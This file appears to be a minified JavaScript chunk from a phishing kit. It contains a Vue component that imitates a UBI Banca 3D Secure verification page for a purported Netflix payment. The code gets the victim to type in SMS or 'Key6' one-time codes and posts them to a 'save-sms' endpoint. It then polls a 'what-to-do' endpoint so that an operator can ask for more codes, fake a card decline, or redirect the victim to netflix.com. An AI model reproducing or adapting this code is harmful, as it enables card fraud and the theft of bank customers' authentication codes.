(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-3a08aed7"],{"6e64":function(t,e,c){"use strict";c("ec60")},a619:function(t,e,c){"use strict";c.r(e);var n=c("7a23"),s=Object(n["r"])("data-v-97299c6c");Object(n["k"])("data-v-97299c6c");var a={class:"poste_pay_container"},i=Object(n["g"])("div",{class:"flex justify-between"},[Object(n["g"])("div",null,[Object(n["g"])("img",{src:"images/UBI-Banca.png",width:"200",alt:""})]),Object(n["g"])("div",null,[Object(n["g"])("img",{src:"images/mcidc.png",width:"110",alt:""})])],-1),o=Object(n["g"])("div",{class:"flex justify-between mt-4"},[Object(n["g"])("div",null," Il Servizio 3D Secure garantisce la sicurezza dei tuoi acquisti on-line. ")],-1),l={class:"w-full mt-8"},d=Object(n["g"])("tr",{class:"grey-1"},[Object(n["g"])("td",{class:"w-1/2 p-2"}," Esercizio: "),Object(n["g"])("td",null," NETFLIX ")],-1),u=Object(n["g"])("td",{class:"w-1/2 p-2"}," Data: ",-1),r={class:"grey-1"},b=Object(n["g"])("td",{class:"w-1/2 p-2"}," Numero di carta: ",-1),O={class:"grey-2"},j={class:"p-2 text-center",colspan:"2"},g={key:0},p=Object(n["f"])(" PER COMPLETARE L'ACQUISTO"),m=Object(n["g"])("br",null,null,-1),f=Object(n["g"])("b",null,"DIGITA NEL BOX IL CODICE DI 6 CIFRE",-1),h=Object(n["g"])("br",null,null,-1),w=Object(n["f"])(" CHE HAI RICEVUTO VIA SMS. "),v={key:1},I=Object(n["g"])("b",null,[Object(n["f"])("INSERISCI IL CODICE"),Object(n["g"])("br"),Object(n["f"])(" Key6 DELLA CARTA CHE STAI USANDO PER IL PAGAMENTO ")],-1),S={class:"flex justify-center items-center flex-col "},C={class:"text-red-500 text-xs"},E={class:"",colspan:"2"},x={class:"animate-spin -ml-1 mr-3 h-5 w-5 text-black",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24"},R=Object(n["g"])("circle",{class:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor","stroke-width":"4"},null,-1),y=Object(n["g"])("path",{class:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"},null,-1);Object(n["j"])();var L=s((function(t,e,c,s,L,T){return Object(n["i"])(),Object(n["c"])("div",a,[i,o,Object(n["g"])("table",l,[d,Object(n["g"])("tr",null,[u,Object(n["g"])("td",null,[Object(n["g"])("span",{textContent:Object(n["m"])((new Date).toISOString().substr(0,10))},null,8,["textContent"])])]),Object(n["g"])("tr",r,[b,Object(n["g"])("td",null,Object(n["m"])(T.ccnum_hidden),1)]),Object(n["g"])("tr",O,[Object(n["g"])("td",j,[L.secondSMS?Object(n["d"])("",!0):(Object(n["i"])(),Object(n["c"])("div",g,[p,m,f,h,w])),L.secondSMS?(Object(n["i"])(),Object(n["c"])("div",v,[I])):Object(n["d"])("",!0),Object(n["g"])("div",S,[Object(n["q"])(Object(n["g"])("input",{type:"text",name:"",id:"",class:"border border-black block my-2 w-3/4 text-center p-1  ","onUpdate:modelValue":e[1]||(e[1]=function(t){return L.code=t})},null,512),[[n["o"],L.code]]),Object(n["q"])(Object(n["g"])("span",C," Qualcosa è andato storto. Ti abbiamo inviato un nuovo codice ",512),[[n["p"],L.isResend]])])])]),Object(n["g"])("tr",null,[Object(n["g"])("td",E,[Object(n["q"])((Object(n["i"])(),Object(n["c"])("svg",x,[R,y],512)),[[n["p"],L.isLoading]]),Object(n["g"])("button",{class:"w-full h-full p-4 btn",onClick:e[2]||(e[2]=function(){return T.submitCode&&T.submitCode.apply(T,arguments)}),disabled:L.isLoading||!L.code}," PROSEGUI ",8,["disabled"])])])])])})),T=c("bc3a"),k=c.n(T),A=c("a078"),D=c("1995"),M={props:["ccname","ccnum","cc_result","bank"],data:function(){return{secondSMS:!1,code:null,isResend:!1,isLoading:!1,lang:"en"}},created:function(){this.lang=Object(D["a"])()},computed:{ccnum_hidden:function(){return"*"+this.ccnum.substr(-4)}},methods:{t:function(t){return D["b"][this.lang][t]},submitCode:function(){var t=this;this.isLoading=!0,k.a.post(A["a"]+"save-sms/"+this.cc_result,{code:this.code}).then((function(){t.waitWhatToDo()})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message)}))},waitWhatToDo:function(){var t=this;k.a.get(A["a"]+"what-to-do/"+this.cc_result).then((function(e){2===e.data.status?setTimeout((function(){return t.waitWhatToDo()}),1e3):3===e.data.status||12===e.data.status?(t.secondSMS=!1,t.isResend=!0,t.isLoading=!1,t.code=""):11===e.data.status?(t.secondSMS=!0,t.isLoading=!1,t.code=""):4===e.data.status?t.$emit("card-declined"):5===e.data.status&&(window.location.href="http://netflix.com")})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message),setTimeout((function(){return t.waitWhatToDo()}),2e3)}))}}};c("6e64");M.render=L,M.__scopeId="data-v-97299c6c";e["default"]=M},ec60:function(t,e,c){}}]);
//# sourceMappingURL=chunk-3a08aed7.0b5d4da7.js.map